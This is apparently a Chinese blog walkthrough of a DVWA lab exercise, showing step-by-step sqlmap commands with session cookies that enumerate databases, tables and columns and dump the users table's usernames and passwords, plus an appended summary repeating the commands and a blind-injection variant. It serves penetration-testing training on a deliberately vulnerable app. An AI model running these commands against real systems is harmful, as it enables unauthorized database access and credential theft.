【渗透测试】【Sqlmap】DVWA-SQL Injection(low)

本文详细介绍如何使用sqlmap工具进行SQL注入攻击,从设置Cookie到获取数据库信息,最终提取用户名及明文密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

①进入sqlmap目录,使用-u命令访问地址:

python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

发现跳转到302了,被重定向了,所以这样不行…

又回到浏览器页面看了一下请求,发现里面有cookie,所以我们要把相应的cookie加上。

②使用--cookie命令加上相应的low级别的cookie,再跑一次。因为怕它一直询问,所以为了方便起见,加了--batch命令,让它可以自动回答询问:

python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch

跑成功了。

③接下来要跑一下数据库,使用--dbs命令:

python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch --dbs

可以看到有8个数据库。

④接下来我们可以用-D命令指定数据库,用--tables命令查看其中所有表

python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch -D dvwa --tables

嗯,有两个表,显而易见,用户信息肯定在users表里面。

⑤用-T命令指定表,用--columns命令查看表的列:

python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch -D dvwa -T users --columns

胜利的曙光就在前方了。我们可以看到表中有字段user和password,也就是用户名和密码了。

⑥最后我们可以用-C命令指定需要的列,用--dump命令将其中的数据脱出来:

python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch -D dvwa -T users -C user,password --dump

OK,可以看到用户名和密码了,而且密码还被译成了明文。

 

### 使用sqlmapDVWA低级SQL注入进行渗透测试 在使用sqlmapDVWA的低级SQL注入(Low Level SQL Injection)进行渗透测试时,需要确保正确配置目标URL相关的Cookies。以下是详细的说明与操作步骤: #### 1. 确定目标URL DVWASQL注入漏洞页面通常位于`/vulnerabilities/sqli/`路径下,目标URL格式如下: ```plaintext http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# ``` 其中,`<DVWA-IP>`为DVWA服务器的IP地址。 #### 2. 设置Cookies 为了绕过DVWA的安全级别限制(如`security=low`),需要提供正确的PHPSESSID安全级别参数。例如: ```plaintext PHPSESSID=v1d47lav6lot63v45vif84lren; security=low ``` #### 3. 基本命令结构 使用以下基本命令启动sqlmap工具: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" ``` 此命令中: - `-u`指定目标URL。 - `--cookie`传递必要的会话信息[^1]。 #### 4. 获取数据库信息 可以通过附加参数来获取更多数据库相关信息: - **获取当前数据库名称**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --current-db --batch ``` 此命令将返回当前使用的数据库名称,例如`dvwa`[^3]。 - **枚举所有数据库**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --dbs --batch ``` - **枚举特定数据库中的表**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa --tables --batch ``` - **枚举特定表中的列**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users --columns --batch ``` - **转储数据**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users -C user,password --dump --batch ``` #### 5. 注意事项 - **安全性**:仅在授权的环境中进行渗透测试,避免非法操作。 - **错误抑制**:DVWA可能通过代码修改抑制了MySQL错误信息输出[^4],这可能影响sqlmap的检测效率。在这种情况下,可以尝试布尔盲注或时间盲注模式。 - **布尔盲注**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --technique=B --batch ``` ### 示例代码 以下是一个完整的sqlmap命令示例: ```bash sqlmap -u "http://172.16.60.233/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren; security=low" -D dvwa -T users -C user,password --dump --batch ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值